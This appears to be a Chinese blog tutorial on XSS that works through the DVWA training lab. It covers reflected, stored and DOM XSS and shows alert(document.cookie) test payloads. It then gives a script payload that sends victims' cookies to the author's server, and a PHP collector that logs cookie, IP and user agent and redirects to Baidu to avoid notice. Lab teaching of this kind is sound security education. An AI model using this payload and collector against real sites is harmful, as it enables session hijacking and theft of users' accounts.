xss漏洞-DVWA跨站攻击盗取用户cookie值

程Kaedy.cn-www.kaedy.cn

XSS跨站脚本攻击介绍

跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style
Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS

XSS 攻击简介

XSS 攻击通常指黑客通过往 Web 页面中插入恶意 Script 代码,当用户访问网页时恶意代码在用户的
浏览器中被执行,从而劫持用户浏览器窃取用户信息。
1、黑客加在特定 web 页面 index.html 中,加入 XSS 脚本。
2、用户访问 index.html,会加载 XSS 脚本
3、XSS 脚本把用户的会话 cookie 信息发给黑客
4、黑客使用用户的信息进行恶意操作
xss原理图像介绍

XSS跨站脚本攻击的三种类型

反射型XSS

  反射型 XSS

反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然
后用户浏览器执行恶意代码触发 XSS 漏洞。
比如网站里面的小广告
诱导用户点击的

存储型XSS

存储型 XSS

存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。
比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存储型 XSS。

DOM型XSS

 DOM 型 XSS

DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因
为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型
DOM型漏洞我将它分成树状图来解释的话看下图:
程Kaedy

项目场景:DVWA靶场

我以提前搭建好DVWA靶场:
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL
Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。


先将DVWA的等级换成low

在这里插入图片描述

反射型XSS演示

它类似一个留言板一样的,你输入的内容,会显示相应的信息
在这里插入图片描述
reflected 反射
点击 submit 按钮,查 URL是http://192.168.1.106:8001/vulnerabilities/xss_r/?name=%E7%A8%8Bkaedy# 由于我前面是输入了程 在URL里显示不出来中文 后面实验内容就用kaedy了!
在这里插入图片描述
查看源代码


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

根据回显信息判断出,显示的文本内容是 Hello n a m e 。 我 们 输 入 的 信 息 被 存 放 在 name。我们输入的信息被存放在 namename 变量中。
我们添加一条 JavaScript 代码获取 cookie

构造js获取cookie代码是

<script>
alert(document.cookie); #alert 弹出窗口,窗口中内容是 cookie
</script>

或者

<script>alert(document.cookie);</script>#也是一样的

将代码放入
在这里插入图片描述
就会弹出网站的cookie值
在这里插入图片描述

可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!


存储型 XSS 原理:

存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击 代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。 一个站点,能写入并被执行,就可以被渗透!

在这里插入图片描述

刷新在这里插入图片描述
存储型 XSS 和反射型 XSS 的区别是:
反射型 XSS 只会执行一次脚本 , 2 存储型 XSS 每次访问这个页面都会执行脚本。因为 XSS 代码已经嵌入在了该 Web 站点当中,所以每次访问都会被执行。

每次刷新这个页面就会弹出cookie


实战盗取cookie:

先上实战拓扑图

在这里插入图片描述

在centos服务器上搭建web站点接收cookie

先启动apache服务
systemctl start apache
[root@VM-0-5-centos /]# cd /var/www/html
新建用户接受cookie值的php页面
[root@VM-0-5-centos html]# vi cheng.php

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

要建一个txt文件,用于接受cookie的txt文件

修改网页权限

root@kali:/var/www/html# chown www-data:www-data cheng.php
root@kali:/var/www/html# touch cookie.txt #创建存 cookie 的文件

root@kali:/var/www/html# chown www-data:www-data cookie.txt
root@kali:/var/www/html#
在这里插入图片描述服务重启
root@kali:/var/www/html# service apache2 start

在反射性XSS漏洞或者存储型里插入下面的代码就能实现跨站盗取cookie值
在这里插入图片描述
插入下面的这个代码

<script>document.location='http://192.168.1.103/cheng.php?cookie='+document.cookie</script>

现在我来说下代码的含义
Payload 说明:
JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
document.location #用于跳转页面
http://192.168.1.103/cheng.php?cookie=’+document.cookie #传递 cookie 参数到cheng.php
从而将cookie值存到cookie.txt文件里
在这里插入图片描述
关于cheng.php
还可以改下

<?php

$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件

header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>

下次我再更新如何使用盗取的cookie值,实现免密登录

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值